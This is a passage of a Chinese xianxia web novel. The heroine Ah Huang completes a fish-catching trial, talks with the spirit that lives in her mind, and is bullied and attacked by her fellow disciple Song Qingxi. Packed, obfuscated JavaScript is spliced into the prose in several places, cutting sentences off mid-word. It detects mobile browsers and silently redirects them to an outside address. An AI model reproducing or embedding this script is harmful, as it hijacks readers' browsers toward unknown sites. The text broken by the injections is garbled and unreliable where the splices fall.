“你是m吗?” 女子疑惑地停下:“那是什么意思?” 阿凰没空理她,继续走。 “这就不理我了?”女子的声音从身后传来。 走了一段路,阿凰停下脚步远眺,没想到又看到那个蓝衣女子,这次她坐在枝头上啃果子,明明穿着正常,却给人一种她是野人的感觉。 她问:“你是不是迷路了?” 阿凰很实诚地点头:“对啊。” “你在找什么?” 以为她只会恶作剧,阿凰心里没抱有希望地问:“说了你就会告诉我吗?” 女子很真诚地反问:“为什么不会?” 阿凰只能试着问:“你有看到玄极长老吗?你知道晨练的后山怎么走吗?” 女子没有立刻回答,只是伸了个懒腰,再开口又是反问句:“他们怎么不等你,尤其是那个看起来很热心肠的小师妹……妙音仙子?声音真是好听哦,大老远就听到她在唱歌呢,你被他们丢下了?” 她居然知道?阿凰抓住了希望:“你看到了?他们去了哪个方向?请你告诉我吧。” 那女子一愣,明显心情很好:“这么真诚?那好吧,你顺着那条石头路走就行了。” 按照她指出来的方向,阿凰道谢后迅速跑过去,那女子的声音远远传来:“祝你好运哦,会跳天舞缭乱的师妹。” 跑着跑着阿凰感觉腰间鼓鼓囊囊的,低头看到腰上挂着一个布袋,取下来打开,里面装满了果子,是刚刚那蓝衣女子用来丢她的。 一醒来就往这边赶,又饿又渴,这果子来得正好,阿凰一边吃一边走。 真是个怪人啊。不,是好人。 直到听到一阵歌声远远传来,听着就知道唱歌的人很开心,阿凰认出来是顾纯儿的声音,嗓音比平时说话的时候尖了一些,声音一直飘着下不来,给人一种气息不足的感觉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126052|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >以阿凰唱见的经历来看,这是因为高音上不去,用假声硬顶导致嗓子紧唱出来的效果。 她跑上去,终于跟上走在前头的三个人,气喘吁吁扶着膝盖暂作歇息,他们意识到身后有人,停下脚步转过来。 顾纯儿后知后觉似的“啊”了一声:“阿凰?我以为你先到了呢,就先过来了。” “没事……没事,这不是正好赶上了嘛。” “那我们快走吧,别让师父久等了。”顾纯儿说罢转身继续边唱便走,时不时走音一下。 阿凰倒是想纠正她,教她一些科学的发声方式,想法刚冒出来觉得还是算了,好为人师是人性特点,这很容易讨人嫌,即使出发点是好的。 而且,听着的人确实都很喜欢。 独孤凤渊和宋清希看起来像在郊游,显然很喜欢顾纯儿的歌声。 等她唱完,宋清希立刻夸赞:“纯儿师姐不愧被称为妙音仙子,如此动听的曲子,你称第二谁还敢称第一?” “哇,你好夸张,夸人的话好假。”顾纯儿故作嗔怒,“我娘亲不让我和虚伪的人玩。” “师弟所言不虚,纯儿师妹的歌声宛若天籁,想必此等夸赞话术纯儿师妹早已听腻了,但确实皆是肺腑之言。”独孤凤渊道。 阿凰也跟着夸赞一句:“是啊,纯纯声音这么甜,听得人心情都好了。” 她嘻嘻一笑:“既然你们都这么说,那就勉为其难让你们当我的听众小弟吧,不收听票哦。” 接着又略微苦恼道:“其实我喜欢甜美可爱的女孩子,求上天赐我一个陪我唱歌吧。” “我我我!我可以!” 宋清希踊跃发言,被顾纯儿扭过头去不看他,哼了一声:“我要女孩子,才不要臭男人呢!” “可惜我的声音年纪轻轻就一把年纪了,甜不了一点,否则就有一只自信的百灵鸟开嗓了,要和纯纯一起唱。”阿凰继续捧场,努力表现出有趣的性格,虽然是以自贬的方式,可她没有别的办法,总是习惯一开口就把自己处于下位。 仿佛这样就显得没架子,有趣,好接近,至少让人不讨厌。 如此一路打打闹闹,走着走着阿凰就被挤开,跟在后面走,大部分时间都是独孤凤渊和宋清希围绕着顾纯儿说话,无论她说什么,他们都显得兴趣十足,特别捧场。 原来听别人互相奉承商业互夸是这种感觉,简直跟个小官场一样,阿凰想,难怪她当不了官,这些场面话她背都背不下来。 走到一条瀑布前,玄极长身直立于瀑布之上,似乎早已等候在此。 一看到他,顾纯儿眼睛都亮了,声音都比平时甜了许多:“师父!你来得好早,难道你早就在等我们吗?” 说罢率先飞身上去,落在玄极面前,说:“真是抱歉,让师父久等了,但是我今天可没有赖床哦,只是路太远了,也不知道师父什么时候到。” 独孤凤渊和宋清希随之飞上去,阿凰最后才跟着上去,下意识站在所有人之后。 玄极此人惜字如金,一个多余的字都不肯说,开门见山道:“为仙门大比准备之前先进行一番磨练,进入凡尘十二镜试炼,磨砺心性。” 9. 自卑吗 所谓凡尘十二镜,就是进入虚幻世界,体会一场梦境,镜中世界会让入镜人暂时忘却记忆,变得被动,若无法摆脱,沉迷其中,后果不堪设想。 在正式进入镜中世界之前,需要磨练本事,以免心性不定被困住其中。 也就是下副本前的准备。 “水中有一种飞鱼,通体将近透明,行动灵活,警惕性高,异常脆弱,不管你们用什么方法,只要能将它完整地抓上来,今日的试炼就算完成。”玄极道。 看来不能暴力行事了,他们的本领不能用了,会麻烦很多。 “师父想吃鱼吗?”阿凰嘴比脑子快,说完觉得自己脑抽了,赶紧闭嘴。 玄极也愣了一下,看着她:“不能吃。” 她干笑两声:“哈哈,我就说说……” “师父,这鱼为什么不能吃呀?看起来很漂亮呢。”顾纯儿眼睛一闪一闪亮晶晶,当起了好奇娃娃。 玄极道:“食之腹痛。” “哼,我先来。”宋清希一副志在必得的样子,率先走到瀑布边缘,将手掌一推飞出一把剑,扎入水中。 水面上看起来平静,而水底下已经被飞剑搅乱,飞剑在水里自由穿梭,不多时突破水面而出,掀起水花,等到飞剑回到宋清希面前时,上面躺了一条半透明的飞鱼,仔细一看才知道,飞鱼是被灵力吸附在剑身的。 “师父请看。”宋清希把剑移到玄极面前,对方并未言语,只是点点头。 他便把飞鱼挪到顾纯儿面前,邀功似的,迫不及待问道:“纯儿师姐,我怎么样?” “师弟真厉害呀,看起来气势汹汹的,却能用剑把飞鱼完整地带上来,这种方法我完全想不到呢,这难道就是我娘亲说的刚中带柔吗?” 顾纯儿夸赞完,宋清希便嬉皮笑脸起来:“纯儿师姐喜欢的话可以和我学,虽然我们断剑山庄的招式从不传给外人,但师姐是自己人,若想学我照样能做主教你。” 她礼貌笑着婉拒了,用手肘撞了撞独孤凤渊,调皮一笑:“独孤师兄,你先上吧,我和阿凰还要再准备一下。” 他有点意外顾纯儿会与自己举止亲昵,轻笑着看着她点头回应:“好的,纯儿师妹也不必着急,慢慢来。” 阿凰在内心感慨了一下他温柔的一面,同时也有点感激顾纯儿,拖延准备时间的同时还考虑到她了,真是细心的女孩子啊。 独孤凤渊站上前去,双手运起一团气,越盘旋越大,然后丢向水中,片刻之后,那团气包裹着东西浮出水面,飞回几人面前,飞鱼在气团中乱撞尝试逃出去。 “师父请验收。” 玄极看了一眼:“可以。” “哎呀,轮到我了。”顾纯儿伸伸懒腰,准备大展拳脚。 她卷起袖子和裤腿下水摸鱼,可这飞鱼哪里是能徒手抓到的,抓了一会儿反而衣服被弄湿了一些,因为她喜欢穿着样式繁杂的漂亮裙子,这时候怎么卷起衣服都会落下去一些,越卷越忙了。 而上方的三个男子见此情形,默契地移开视线,阿凰疑惑了会儿,突然反应过来,这可是古代背景,见到女孩子露出手臂和小腿,还湿了衣服,他们不好意思看。 下方的顾纯儿白忙活半天,气鼓鼓地叉腰盯着水里,忽然想到了什么,她回到岸边拿出一个袋子,一阵捣鼓,做了一个简易的鱼竿,而鱼饵是她从袋子里拿出来的,她坐在石头上钓起鱼来。 还能这样啊。阿凰在考虑这个办法的可行性,可是她身上什么都没有,拿什么钓? 钓鱼是一件很需要耐心的事,不但要心平气和,还需要安静,等了没多久,顾纯儿叹了口气,撑着脑袋犯困。 阿凰也想趁这时候抓鱼,可是怕打扰到顾纯儿,还是算了。 她盘腿坐下,在脑海里呼唤夜月姬:“等得好无聊,出来跟我说会儿话呗。” 没有回应,大脑放空片刻,她忍不住在心里唱歌,歌单切换着,无聊得脑海里响起一阵劲爆的音乐。 大东北是我的家乡,唢呐吹出了美美的模样…… “停停停,不要在脑海里放垃圾音乐骚扰我了。”夜月姬的声音冒出来。 用全损音质dj轰炸她还是经常有效果的。 阿凰问:“你终于舍得露头了?来到紫微派的这两天,你感觉怎么样,有恢复一些吗?” 夜月姬附身脑海里这么多年一直都是电量不足的状态,大部分时间都是沉睡着,她说在紫微派这种灵气充沛的地方会慢慢恢复。 “有点。”沉默了会儿,夜月姬问,“感觉最近你不太开心?” “有吗?”阿凰自己都没发现。 夜月姬又沉默了,良久,她叹气道:“我知道你的性格是经历造就的,其实你并不比别人差,不用总是放低姿态,人性是欺软怕硬的,你一直退让,别人就会把你的忍让当理所当然。” 阿凰无话可说。 她也想自信灿烂啊,可是她没那个资本,如果她也有个掌门爹,第一美人老妈,还有整天围着自己转的朋友和同门们,从小听着夸夸耳濡目染长大,只是呼吸大家就夸她好棒,她也会是阳光自信的社牛。 见她心情更低落了,劝出了反效果,夜月姬有些无奈:“每个人都是独特的个体,每个人都是自己人生的主角,不必为了别人的闪光点而怀疑自己的价值,你那里有句话是怎么说的来着……比较是偷走快乐的小偷。” “我从没想过和别人比较,只是,别人发光的时候照射到我,会让我羡慕罢了。”顿了顿,阿凰说,“自卑?也许吧,说一点都没有是不可能的,你看啊,大家有完整的身世,再不济也有一些本事,我呢,要不是有你的帮助,也许现在什么都没有。” “少长他人志气灭自己威风,能发现别人的优点,你也不赖啊,再者说,你有什么好自卑的?腰细腿长,肤白若雪,还有体香……” “那是药吃多了散不去的气味。” 夜月姬不在意,继续说:“唇红齿白,鼻子小巧而挺,一双眼睛不笑时若即若离,笑起来明媚动人。还有啊,你前世能唱能跳的,那么受欢迎,再自卑叫别人怎么活?其实小时候给你算命的神棍还真说对了,你长开后确实是个祸水容颜。” “再夸我就当你是我的梦女了。” “O而K之。”夜月姬笑说。 “你少学点乱七八糟的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126053|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” “我还会说,小瞧阿凰的人都low爆啦!” 这么一聊,阿凰心情好多了,有心思开玩笑了:“说这么多不如从我身上出去,让我恢复正常,我还是很喜欢我的脸和声音的。” 脑海里又静下来了,阿凰也不在意,疑惑道:“为什么你附身了我会导致我失去声音和容貌?这是什么原理?” “……不知道,也许以后会有答案吧。”夜月姬说,“我要关机了,出现太久会被高手察觉。” 等脑海里重归平静,阿凰看着下方,顾纯儿还在钓鱼,她就继续在心里唱歌了,不自觉跟着旋律小幅度摇头晃脑。 回过神来,她感受到有目光聚在自己身上,抬头就碰上玄极的视线,另外两人也跟着看过来。 她瞬间老实了,坐直了身子,还是觉得怪怪的,干脆站起来,好在他们只是看了她一眼就继续看顾纯儿钓鱼。 下方惊呼一声,顾纯儿终于钓到鱼了,她用衣服兜着鱼飞上来,凑到玄极面前邀功:“师父!你看,我抓到了,怎么样怎么样?” 玄极垂眸看着飞鱼,“嗯”了一声。 得到了认可,顾纯儿笑嘻嘻的,凑到阿凰跟前来:“阿凰,就剩你了,快让我们看看你要用什么办法。” 阿凰往前走了两步,看着下方的水流,拿出玉笛吹奏,手指一上一下按着笛孔,乐声悠扬回荡在山谷中,林中的鸟儿发出鸟鸣,好似在给乐声伴奏,闻之令人心旷神怡。 水面掀起浪花,一条飞鱼首先飞出水里,紧接着它身后有数条飞鱼跟在后头,连成一串有序地飞到上空,随着笛声翩翩飞舞,曲调一变,那些飞鱼自动朝阿凰飞过来。 她伸出手,一条飞鱼噗通落在手掌中,躺得很是顺从。 “师父,可以吗?” 玄极伸出手,那条飞鱼飞到他手中,只是看了一眼,他便点头说:“虽然你们都通过了,但四人当中,阿凰的飞鱼是最完整的。” 他一挥手,四条飞鱼飘在面前,仔细观察才发现,除了阿凰的那条鱼没有一点破损,别的确实各有各的细微缺损,顾纯儿的那条鱼更甚,因为接触过多,不免有些地方被碰坏了。 阿凰想,这种鱼这么脆弱是怎么生存的?不如叫豆腐鱼吧,跟豆腐一样一碰就碎。 顾纯儿失落地叹气:“什么飞鱼啊,这么脆弱?我已经很小心了,真的有人能毫无破损地抓到它吗?” 随即,她开玩笑似的说,甚至语气中带了一丝耍赖皮的意味:“阿凰耍赖,这样抓也算数吗?” 虽然知道她只是开玩笑,没有恶意,可阿凰心里还是有点不舒服。 被她这么说,阿凰有点慌了:“可是,我也没有别的办法,只能这样抓了……” 顾纯儿主动握住她的手:“别紧张,我是开玩笑啦,你不喜欢以后我不这么说了。” “哈哈哈……没事没事,我知道。” 虽然这么说,也想让自己别多想,可阿凰总觉得哪里怪怪的,说不上来。 她转头夸顾纯儿:“你比我们都厉害啊,不动用灵力就能抓到了。” 顾纯儿甜甜笑道:“是师父教得好啦!” 10. 挑衅 晨练结束玄极就原地消失了,不知去向,顾纯儿刚开口发出一个音节,没来得及挽留他,她有些失落。 下山的时候独孤凤渊和宋清希一直找话题和她说话,她才开心一些。 阿凰也很努力地搭话,幸好顾纯儿愿意理她,甚至很捧场,她的话都没有落在地上,她的尴尬感才消失了。 “你的鼻子好挺啊。”顾纯儿突然凑近了说。 没预料到话题转变得这么突然,阿凰有点措手不及,懵懵地“啊?”了一声。 “睫毛也很浓密,真好看。” 夸得阿凰不好意思地笑了笑。 顾纯儿好像发现了新奇的事物,说:“你要多笑笑嘛,笑起来眼睛多好看!我娘亲说,爱笑的女孩子最讨人喜欢了,我若是个男人都要爱上你的眼睛了。” 突然发现顾纯儿好像很喜欢说我娘亲如何如何,阿凰对她的印象词多了一个乖乖女。 “谢谢……你的眼睛比我漂亮多了,亮晶晶的,像宝石一样。”真诚的夸赞让阿凰也想用真诚回报。 人在交流中总是习惯用贬低自己抬高别人的方式来找话题,好像这样就能避免冷场,也显得自己谦虚,不高傲。 她下意识瞟向一旁的独孤凤渊,发现他也在看着自己,心中一惊迅速收回视线,同时内心也有点窃喜,口腔中虎牙咬住两边的肉才避免自己嘴角上翘,暴露了心思。 回过神来,她发现最近自己看独孤凤渊的次数是不是太频繁了?总是习惯在人群中搜寻他的身影,如果没找到就觉得失落。 心绪被一个人牵动着,她感觉这样的自己好陌生。 要是被他逮到了,该有多尴尬啊…… 是不是应该和他保持距离,尽量少见到他,这样会不会有所改善? 离开了后山,顾纯儿说自己有事,头也不回就溜了,独孤凤渊和宋清希一看她不在,也觉得无趣似的,二话不说就各自走人,一个字也不愿意多给她,仿佛没有顾纯儿在的场面,他们终于不用装同门和谐友爱了。 阿凰自己一个人在原地发了会儿呆,反正也不知道该干嘛去,只能回观画阁了。 一边走,她一边小声哼着歌,只有独处的时候她才会彻底放松身心。 “脚步却从来不会为我而停,给你的爱一直很安静,来交换你偶尔给的关心……” 多好笑啊,以前的她觉得这种歌词无病呻吟,然而这段时间,她心里总是冒出这首歌的旋律,以前她是不爱听这样忧伤的歌曲的,现在却觉得很符合心境,好像突然能领悟了那种情绪。 为什么世人的感情要这么复杂?如果没有感情就好了,就不会那么难受。 有时她想,宁可感受不到感情,也不想被情感牵动而痛苦。 “傻姑娘,人非草木,孰能无情?连神仙都是有感情的,何况我们红尘之中的凡人呢?”夜月姬的声音响起。 和她共处十几年,阿凰早就习惯了,可是这种小心思被人发现了,还是会感到难堪。 “你能不能当没听到?” “有什么不好意思的?有这些情绪很正常,总要直面自己的感情啊。” 阿凰没说话,夜月姬又说:“你好像很喜欢那个姑娘嘛。” 她知道说的是谁,说:“纯纯人真的很好,不只是我喜欢她,大家都喜欢她啊,喜欢这么好的人很正常吧。” 顾纯儿一出现就是万众瞩目,连阿凰都从别人口中知道她背景强大,她父亲和玄极听说是故交。 不过……大家对于顾纯儿父母的评价似乎褒贬不一,表面上大多数人都交口称赞为神仙眷侣,可私底下还有传言说实则不然。 至于为什么,阿凰也没敢问。 话说,平常夜月姬最爱评价,怎么这种时候不点评一下? “你想听我评价什么?”夜月姬问。 阿凰冒出八卦之心:“难道你也知道纯纯的父母?多说点,我有点好奇。” 夜月姬直接回避了这个话题,疑惑道:“为什么顾纯儿的父母,这两个人惊为天人一般的容貌,生出的孩子却长得这么普通,十八岁的声音,三十八岁的脸?” 没想到她会这么评价,阿凰阻止她继续口出狂言:“停停停,你被夺舍了?突发恶疾,说话这么过分,哪有这么夸张?你可嘴下积点德吧,容貌天生的,人家能怎么办?” “按照这个世界的因果论来说,父母作恶孩子也会有报应,我开始好奇了,她的父母做了什么?导致孩子没有继承到优点。” 阿凰无奈了,说:“人家除了不像父母长了一张惊为天人的脸,好像也没什么大不了的事,甚至处处逢源,修仙资质也是不赖的,未来的道路无比光明,这算什么报应?倒是你,我好像知道你为什么受重伤了,嘴贱挨揍了吧?” 不过她也不由得联想到,很多长得好看的明星生出来的孩子却没有继承父母的美貌,有些长得普通,有些甚至天生长残,也许是正正得负吧。 夜月姬没在意阿凰的话,两人贫嘴了会儿,她又要休息了。 阿凰继续哼着歌往回走,看到周围一个人都没有,更自由地放声哼唱。 远看阿郎赶牛来耶,赶牛来耶,惹得阿妹悄悄猜,若是他日成双对,愿为阿妹摘云彩哟咿哟…… 是一首来自某个山区的民歌,歌颂劳动人民青年男女大胆表达心意,也是阿凰小时候上音乐课学会的第一首歌。 以前的人们尚且豁达勇敢,阿凰觉得自己一个现代人那么拧巴真是惭愧。 想起来,一开始她的账号叫山鬼谣,因更新缓慢被戏称为“年更谣”,如今她消失在那个世界,应该会有粉丝担心她的安危吧。 脚下绊到了什么东西,阿凰整个人面朝地面扑倒,摔了个狗啃泥,用手撑着上半身坐起来时火辣辣的疼,一看手臂擦伤了,通红的伤口裸露在空气中,风吹过来都是疼的。 “噗嗤!”有个声音在嗤笑,笑声中满是得意忘形的意思。 阿凰循着声音抬头望去,看到宋清希蹲在树上,脸上带着嘲讽的表情:“真蠢。” 她站起来,心里不爽,脸上也没带什么表情:“你什么意思?” 宋清希不屑地笑着反问:“什么什么意思?我的意思还不够明显?” 顺着他的视线,阿凰低头看到自己脚下有一条藤蔓,心里也明白了一切。 “你几岁了?” 对方没想到她会问候自己的年龄,疑惑了一下。 她继续说:“十几岁的人了,还跟三岁小孩一样,正事不干捉弄同门,恶作剧也要有个限度,否则别人会以为你大脑没发育。” 宋清希完全没被攻击到,说:“谁跟你说我是在恶作剧?我就是看你不惯,如何呢?” 好久没遇到这么直白的恶意了,阿凰一时愣住。 看到她被中伤的样子,宋清希得意地笑了。 “幼稚。”阿凰冷哼一声,反而笑了,“我看你心智不太成熟,就先让你这一次了,再有下次,我这个做师姐的可就不再包容你了,幼稚的小朋友。” 她不哭不闹,也不生气,没有达到预料之中的效果,宋清希顿时觉得没意思了,好像一拳打在棉花上。 见她要走,他出声叫住她:“喂,你难道就不好奇吗?” “你说。”阿凰看着他。 眼见她又搭理自己,宋清希又来劲了,调整出嘲弄的神情,一字一句强调道:“你真的很碍眼。” “碍了谁的眼,你?”阿凰回忆着说,“我没得罪你吧?目前为止,我跟你才见了两次面,甚至没说过话。” “纯儿已经很辛苦了,还要那么照顾你,早上没见到你还问了我们,身为同门,你还是师姐,却要她照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她心里本就积攒了怨气,再加上被他这么一捉弄,一挑衅,开口也带了些破罐子破摔的硬气:“用你管,不爱听就割掉自己的耳朵。” 以为她破防了,宋清希得意忘形,继续攻击:“你不仅声音像老巫婆,长得也难看,你知不知道,别人看到你的第一眼就是你脸上巨大的胎记,真恶心。” 没想到这人在顾纯儿面前装得那么阳光开朗大男孩,私底下是这样顽劣的性格。 阿凰也不知道自己怎么就惹到这样的人了,预感到自己以后会有不少麻烦,但是,做都做了,后悔没有意义,而且夜月姬说得对,人都是欺软怕硬的,人家都欺负到头上了,一味的忍让只会让对方变本加厉。 如果,前世的她能早点明白这个道理,早点坚强起来,也许就不会那么痛苦…… “你嘲讽别人的身体缺陷真的很恶俗。”阿凰冷声严肃道,不敢想象,要是一个真正的残疾人遇到这种人这种事,会有多痛苦,越想越气了,“有你这种人做我同门,真是师门不幸。” 她真是不明白,宋清希对自己哪里来这么大的敌意?仅仅是因为她占了顾纯儿的目光?以为她抢了顾纯儿的注意?那他真是想太多了,顾纯儿认识的人那么多,她只是万中之一,极其渺小微弱的一部分,要是每一个他都要这么计较,这辈子不得累死。 宋清希很显然没料到她敢对自己这么说话,明明在此之前她都是没什么脾气的样子,好像一团无聊的棉花,可他一出手,她就露出不为人知的一面,居然还会说出这么有攻击性的话?他长这么大从来没人敢呛他。 “站住!你说什么?” 阿凰不理会,继续走。 宋清希从上方一跃而下,落在面前拦住去路:“把刚刚的话再说一遍。” “你这么喜欢听别人骂你吗?”阿凰丝毫不惧,直视他,“可惜我没功夫陪你闹,不过我要敬告你一句,为人处世谨言慎行,紫微派不需要败类,你也别丢了断剑山庄的脸。” 他恼羞成怒,挥掌出击,步步紧逼,攻势凌厉,阿凰节节败退,眼看要被他伤及要害,怒喊:“住手!你想让大家都知道你我同门相残吗?你就不怕师父看见?” 宋清希得逞似的笑了,眉眼间充满桀骜不驯的邪气:“原来你还知道害怕啊?正好让我看看你究竟有什么本事。” 11. 正义少年 这养尊处优的小公子真是疯了。 阿凰自知以自己的实力,是断不可能打得过宋清希的,便只能一个劲的逃跑躲避,可对方不依不饶,步步紧逼,好多次她都以为对方一定要她的命,否则不会善罢甘休。 在她再一次惊险地躲过对方的攻击后,她拉开距离跳进一口钟里,暂且得到了稍作喘息的时间。 腿都累麻了…… “哈哈哈,缩头乌龟!”宋清希好整以暇地看着躲起来的她,也不着急出手,好像在逗一只没有攻击性的宠物,“对付你,我根本就不用武器。” 欺负弱小,有什么好得意的。 阿凰蹲在钟里,闷闷地想,自己都能叫来什么人救一下?脑子里回忆了一下认识的人,发现没一个熟人,先不说能不能联系上了,就算能,人家还不一定愿意管这破事吧? 至于玄极?哎……刚拜师两天,真不想为了这点破事麻烦他,不想让新师父认为她是个爱惹麻烦的人,唯一一个比较熟的独孤槿还在山下呢。 “你是自己出来,还是等我把这口钟打碎了揪你出来?”外面宋清希还在叫嚣着。 阿凰觉得这口钟好歹是紫微派的东西,初来乍到,他应该不至于轻易弄坏公共物品吧? 下一刻,宋清希失去了耐心,劈出一道掌气,顿时把钟劈碎了,阿凰承受不住掌气,被击飞出去,远远滚了好几圈,好半天没恢复过来。 等到她喘了口气,抬头看见那双精美的鞋子踩在眼前,宋清希居高临下看着她:“喂,还手。” “第一,我不叫喂。”阿凰站起来,看着他说,“你这样跟人说话很不礼貌,我不想跟没礼貌的人有来往,况且长幼有序,你是师弟,不该刁难师姐。” 宋清希嗤笑一声:“第一,我不想叫你的名字。” 他虽然知道阿凰的名字,可是觉得这样叫一个人很亲昵,甚至觉得她在投机取巧,故意让大家这么称呼她。 “至于师姐,”他轻蔑地看着阿凰,“在我心里,我的师姐只有纯儿一个人,你还不配让我喊你师姐。” “况且,身为断剑山庄的独子,我自然知道什么是礼义廉耻,只是这份礼仪只有纯儿有资格看到。” 礼义廉耻?阿凰对他的自我评价表示怀疑。 “好吧,师弟,那很遗憾了。”她故意这么叫他,忽然觉得这人也挺小孩子脾气的,反而想故意应对他,不是讨厌她吗?那她就反着来。 果然面前的人神情一冷,后退两步和她保持距离,好像怕她会不要脸地贴上来。 “喂,师弟,你是不是很好奇纯纯喜欢什么?” “你不许那么叫她。”宋清希打断她说,“继续说。” 阿凰无语了一下,接着说:“你答应不为难我的话,我把她的喜好都偷偷告诉你,你再投其所好,这样不就和她的关系飞速发展了,怎么样?” “真的假的?”宋清希半信半疑,显然对这个主意有些心动。 “假的。”阿凰声音一冷,迅速后撤退开一些距离。 不知什么时候,宋清希脚下已经聚集了一堆藤条,阿凰吹起玉笛,奇异的曲调驱使着藤蔓迅速向上攀爬,一眨眼的功夫,宋清希就被藤蔓紧紧缠绕住。 “我怎么会出卖我朋友的情报,用来讨好你这种人?” 阿凰在内心冷哼一声,这些男人真是的,一个个为了心上人变得是非不分,喜欢一个人喜欢到丧失理智,这样真的很危险。 她不想自己也变成这样,虽然,感情这种事真的很难控制,但至少她不想变得自己都觉得面目全非。 生命最重要,重活一世她变得很惜命,再喜欢一个人也不能把自己的性命置于危险的境地。 意识到自己被戏耍了,宋清希面色阴沉,只是一个劲冷笑,看得阿凰心里犯怵,她觉得,若是真被他逮到了,一定不会轻易饶过她。 于是阿凰扭头就跑,大不了,趁他破开藤蔓之前跑到人多的地方就是了。 “你跑得好慢啊,我的笨师姐。”宋清希阴恻恻的声音从后头传来。 阿凰浑身寒毛炸立,还没反应过来,脚下就被东西缠住跑不动了,紧接着那些东西都攀爬上来,她浑身都被缠住,甚至越缠越紧。 “放开我……” 宋清希缓缓地在她面前踱步:“你求我啊。” 阿凰犹豫了,她虽弱小,可是也是有尊严的,被一个人这么欺负,反过来还要求他,这个人还阴晴不定的,就算真求了他,也许只会受到嘲笑,然后被欺负得更狠。 见她不肯低头,宋清希让藤蔓缠得更紧,眼看着她呼吸困难,便没有继续,他只是想给她一点教训,不是真要闹出人命。 正想着用什么话羞辱她,宋清希就见她身上被藤蔓缠出红印,瓷白的肌肤留下令人遐想的痕迹。 他难得沉默了,刚刚还牙尖嘴利的,现在一个嘲讽的字都说不出来,默默移开了视线。 真白啊,不知道手感怎么样。 他一向是直白的性子,这么想着,还真的上手了,手掌捏住阿凰的下巴,迫使她抬起头。 近距离一看,她分明是唇红齿白的,面容白净细腻,鼻子小巧而挺,一双眼睛干净得无一丝瑕疵,睫毛浓密翘长,眉型不加修饰就是细长的黛眉,连脸型都十分完美。 若不是有脸上的胎记,她无疑是十足的美人。 阿凰不服气地挣扎起来,也因此累得微微喘息,宋清希觉得自己被这个坏女人迷惑了,否则怎么闻到了香气? 浑身一轻,缠绕在身上的束缚被撤去,阿凰失力后退了几步,差点没站稳摔倒。 宋清希从储物袋里拿出来一套衣服,扔到她身上,她手忙脚乱地接住。 他本来是要送给顾纯儿的,此时看着阿凰,忽然起了逗弄的心思,想看到她被逼迫穿繁复的裙子打架会不会觉得很屈辱。 “穿得正式些再跟我打,我可不想被别人说我在欺负乞丐。” 过分了,她只是没闲钱买好衣服,都拿去买药吃了,而高级的衣服和药材需要用灵石买,她还在努力,已经一段时间没续药吃了。 阿凰觉得这人莫名其妙,想法跟天气似的变幻莫测。 “你转过去。” 宋清希虽然嘴硬了一句不稀罕看,可还是照做了。 等了好一会儿,在他以为阿凰趁机逃跑时,她从石头后面走出来:“好了。” 转身一看,宋清希一时呆住,本以为她这么无聊的人穿着这么粉嫩的少女衣裙会很别扭,没想到意外的合适,她的身子仿佛天生的衣架子,好像任何衣服在她身上都不会难看。 他哪里知道,阿凰原本作为颜值与才艺并重的小网红,能驾驭各种风格,可爱风也完美适配,穿搭赛道有她的一份,所以无法用一种风格框定她,现如今没了容貌,可体态还在,人们都说,好看的人不局限于某一种风格。 “能不能不打?非要自相残杀吗?”阿凰说。 宋清希道:“我说了,让我看看你的本事,拿出你的武器战斗。” “我的本事你刚刚已经见到了,早上也是,这只玉笛就是我的武器,我以灵力融入音律,这就是我的攻击方式。” “我可不相信,你就靠这点本事成为了玄极的徒弟?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126055|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>看来是应付不过去了,可阿凰不想轻易跳出天舞缭乱,想了想,说:“可我们实力本来就不对等,就算你赢了又能怎么样?不过是预料之中的事罢了,胜之不武,既然你无心杀我,这样吧,我能接住你一招,你就别骚扰我了,怎么样?” “谁骚扰你了?”宋清希反驳道,“要我放过你也可以,不过就一招,未免太轻松了,我只需单手和你打,你接住我三掌就算你赢了。” 阿凰同意了。三掌就三掌,他断剑山庄是主修剑道的,掌法应该不至于太吓人。 第一掌,她故技重施,用藤蔓挡在面前,勉强接下,不知是宋清希掌法真的稍逊一筹,还是他有意放水。 第二掌,她躲在刚刚的大石头后面,石头被击碎,她没受伤。 本以为两次都侥幸躲过,宋清希会恼羞成怒,可他看起来没什么生气的意思,一派轻松自在,阿凰甚至感觉他出掌的速度变慢了? 最后一掌,阿凰左右乱看,试图找一个物体来抵挡,可四下望去也见不到合适的,她只能调动全身的灵力,试图硬撑过去。 “住手!”一道厚实的声音响起,一个宽厚的身躯挡在阿凰面前,灵力形成的保护罩挡住攻击。 阿凰站起来,看着面前好心的陌生人道谢:“谢谢这位同门……” 他偏过头来看着她:“师妹没事吧?” 